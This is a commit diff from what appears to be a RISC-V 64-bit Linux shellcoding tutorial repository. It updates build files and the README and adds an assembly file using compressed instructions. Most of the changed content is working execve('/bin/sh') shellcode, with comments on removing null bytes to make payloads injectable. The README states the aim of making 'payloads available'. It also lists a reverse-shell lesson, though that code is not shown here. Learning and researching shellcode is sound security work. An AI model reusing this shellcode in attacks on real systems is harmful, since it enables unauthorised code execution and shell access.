~poptart/riscv-business

578435d17f59c42a0b6cf01e32b1016bb5208f60 — terrorbyte 2 years ago 5d09d6e
Added "C" extension examples and fixed the "G" only examples
5 files changed, 122 insertions(+), 63 deletions(-)

M Makefile
M README.md
M src/asm5.s
M src/asm6.s
A src/asm6c.s
M Makefile => Makefile +7 -0
@@ 7,6 7,7 @@ OBJ =\
       $(BINPATH)/asm4.o\
       $(BINPATH)/asm5.o\
       $(BINPATH)/asm6.o\
       $(BINPATH)/asm6c.o\
       $(BINPATH)/asm7.o
BIN =\
     $(BINPATH)/simple1\


@@ 18,6 19,7 @@ BIN =\
     $(BINPATH)/asm4\
     $(BINPATH)/asm5\
     $(BINPATH)/asm6\
     $(BINPATH)/asm6c\
     $(BINPATH)/asm7\
     $(BINPATH)/sc1\
     $(BINPATH)/sc2


@@ 48,6 50,11 @@ asm:
	gcc -march=rv64g -c src/asm7.s -o $(BINPATH)/asm7.o
	ld $(BINPATH)/asm7.o -o $(BINPATH)/asm7 

compressed:
	gcc -march=rv64gc -c src/asm6c.s -o $(BINPATH)/asm6c.o
	ld $(BINPATH)/asm6c.o -o $(BINPATH)/asm6c 


clean:
	rm -f $(OBJ) $(BIN) $(JNK)


M README.md => README.md +17 -8
@@ 3,17 3,18 @@ RISC-V 64LE Linux Shellcoding

This repository contains all the code used to create a minimal example
of creating shellcode for RISC-V 64LE. I attempted to do this as black-
box as possible using only the RISC-V documentation and source from
gcc, glibc, and the linux kernel. This was dual purpose to work on 
furthering my understanding of hardware specifics, to learn to
shellcode on a lesser known/new ISA, and to attempt to get some 
payloads available even before common adoption.
box as possible using only the RISC-V documentation and source from gcc,
glibc, and the linux kernel. This was dual purpose to work on furthering
my understanding of hardware specifics, to learn to shellcode on a
lesser known/new ISA, and to attempt to get some payloads available even
before common adoption.

Repository Layout
-----------------
Inside of the `src/` directory there are simple C examples (`simpleN.c`),
assembly examples (`asmN.s`), and shellcode examples (`scN.h`) that are 
included by `sctester.c` and executed using a GCC trampoline.
Inside of the `src/` directory there are simple C examples
(`simpleN.c`), assembly examples (`asmN.s`), and shellcode examples
(`scN.h`) that are included by `sctester.c` and executed using a GCC
trampoline.

The reading path is not one-to-one by the numbers, instead it should be
read in the following manner or as described in the coming blogpost:


@@ 28,6 29,14 @@ read in the following manner or as described in the coming blogpost:
| `asm7.s` | Create a reverse shell in assembly |
| `asm8.s`, `sc3.h` | Porting the reverse shell to shellcode |

Additionally, it is extremely common for most of the implimentations of
RISC-V to contain the C compressed instruction extension. For that
reason I decided to add a few examples:

| files | lesson |
| :----- | :------ |
|`asm6c.s` | An example of some shellcode with compressed instructions and less xor |

Usage / Building
----------------
It is expected that you have a VM to test with, the instructions for

M src/asm5.s => src/asm5.s +18 -5
@@ 1,8 1,21 @@
# 10078:	00000513          	li	a0,0
# 1007c:	00000893          	li	a7,0
# 10080:	05d88893          	addi	a7,a7,93
# 10084:	00000073          	ecall


# 10078:	0118c8b3          	xor	a7,a7,a7
# 1007c:	0118c533          	xor	a0,a7,a7
# 10080:	05d88893          	addi	a7,a7,93
# 10084:	00000073          	ecall
.section .text
.globl _start
_start:
	    li a0, 0x0
	    li a7, 0x0
	    addi a7,a7,93
	    #li a7, 93
	    ecall
	#li a0, 0x0
	#li a7, 0x0
	#addi a7,a7,93
	#ecall
	xor a7,a7,a7
	xor a0,a7,a7
	addi a7,a7,93
	ecall

M src/asm6.s => src/asm6.s +26 -50
@@ 1,54 1,30 @@
#10078:	6e696537          	lui	a0,0x6e696
#1007c:	22f5051b          	addiw	a0,a0,559
#10080:	ff810113          	addi	sp,sp,-8
#10084:	00a13023          	sd	a0,0(sp) < 
#10088:	00687537          	lui	a0,0x687 <
#1008c:	32f5051b          	addiw	a0,a0,815
#10090:	00a13223          	sd	a0,4(sp) <
#10094:	00010513          	mv	a0,sp <
#10098:	00000613          	li	a2,0 <
#1009c:	00000593          	li	a1,0 <
#100a0:	0dd00893          	li	a7,221 <
#100a4:	00000073          	ecall 
.section .text
.globl _start

#0000000000010078 <_start>:
#   10078:	6e696537          	lui	a0,0x6e696
#   1007c:	22f5051b          	addiw	a0,a0,559
#   10080:	1161                	addi	sp,sp,-8
#   10082:	e02a                	sd	a0,0(sp)
#   10084:	00687537          	lui	a0,0x687 <
#   10088:	32f5051b          	addiw	a0,a0,815
#   1008c:	00a13223          	sd	a0,4(sp) <
#   10090:	4501                	li	a0,0
#   10092:	00010513          	mv	a0,sp <
#   10096:	4601                	li	a2,0
#   10098:	4581                	li	a1,0
#   1009a:	0dd00893          	li	a7,221 <
#   1009e:	00000073          	ecall
#   100a2:	4501                	li	a0,0
#   100a4:	4881                	li	a7,0
#   100a6:	05d88893          	addi	a7,a7,93
#   100aa:	00000073          	ecall

# 4 problem spots
# - the "/bin/sh\0" inheritely has a null
# - store using a0 for the stack pointer has a null
# - the addi is getting translated to mv
# - the li for the syscall contains a null

# 4 solutions
# - change "/bin/sh\0" to "//bin/sh", which fills the buffer and removes the NULL
# - move the register to a higher value to shift the bits to a non-null value, I chose a7 since it was cleared later anyway
# - change the addi to have a value inside of another register (similar to above) and then add the negative value later
# - more arithmetic magic to make it work

_start:
	    li a0,0x69622f2f #ib//
	    addi sp,sp,-8
	    sd a0,0(sp)
	    li a7,0x68732f6e # hs/n 
	    sd a7,4(sp)
	    li a7,0x0
	    addi a7,sp,0x11
	    li a0,0
	    addi a0,a7,-0x11
	    li a2,0x0
	    li a1,0x0
	    li a7,0x1
	    addi a7,a7,220
	    #li a7, 221 #221 is the __NR_execve 
	    ecall
	    li a0, 0x0
	    li a7, 0x0
	    addi a7,a7,93
	    ecall
	li a7,0x69622f2f #ib//
	addi sp,sp,-8
	sd a7,0(sp)
	li a7,0x68732f6e # hs/n 
	sd a7,4(sp)
	xor a7,a7,a7
	addi a7,sp,0x11
	xor a0,a7,a7
	addi a0,a7,-0x11
	xor a2,a7,a7
	xor a1,a7,a7
	xor a7,a7,a7
	addi a7,a7,221
	ecall

A src/asm6c.s => src/asm6c.s +54 -0
@@ 0,0 1,54 @@
.section .text
.globl _start

#0000000000010078 <_start>:
#   10078:	6e696537          	lui	a0,0x6e696
#   1007c:	22f5051b          	addiw	a0,a0,559
#   10080:	1161                	addi	sp,sp,-8
#   10082:	e02a                	sd	a0,0(sp)
#   10084:	00687537          	lui	a0,0x687 <
#   10088:	32f5051b          	addiw	a0,a0,815
#   1008c:	00a13223          	sd	a0,4(sp) <
#   10090:	4501                	li	a0,0
#   10092:	00010513          	mv	a0,sp <
#   10096:	4601                	li	a2,0
#   10098:	4581                	li	a1,0
#   1009a:	0dd00893          	li	a7,221 <
#   1009e:	00000073          	ecall
#   100a2:	4501                	li	a0,0
#   100a4:	4881                	li	a7,0
#   100a6:	05d88893          	addi	a7,a7,93
#   100aa:	00000073          	ecall

# 4 problem spots
# - the "/bin/sh\0" inheritely has a null
# - store using a0 for the stack pointer has a null
# - the addi is getting translated to mv
# - the li for the syscall contains a null

# 4 solutions
# - change "/bin/sh\0" to "//bin/sh", which fills the buffer and removes the NULL
# - move the register to a higher value to shift the bits to a non-null value, I chose a7 since it was cleared later anyway
# - change the addi to have a value inside of another register (similar to above) and then add the negative value later
# - more arithmetic magic to make it work

_start:
	    li a0,0x69622f2f #ib//
	    addi sp,sp,-8
	    sd a0,0(sp)
	    li a7,0x68732f6e # hs/n 
	    sd a7,4(sp)
	    li a7,0x0
	    addi a7,sp,0x11
	    li a0,0
	    addi a0,a7,-0x11
	    li a2,0x0
	    li a1,0x0
	    li a7,0x1
	    addi a7,a7,220
	    #li a7, 221 #221 is the __NR_execve 
	    ecall
	    li a0, 0x0
	    li a7, 0x0
	    addi a7,a7,93
	    ecall